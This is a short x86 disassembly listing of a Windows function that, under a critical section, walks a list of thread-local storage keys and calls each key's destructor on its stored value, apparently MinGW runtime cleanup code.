call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x69ce93a0]
sub esp, 4
test ebx, ebx
je 0x69cd83c5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x69cd83be
test esi, esi
je 0x69cd83be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x69cd83a0
mov dword [esp], 0x69ce93a8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret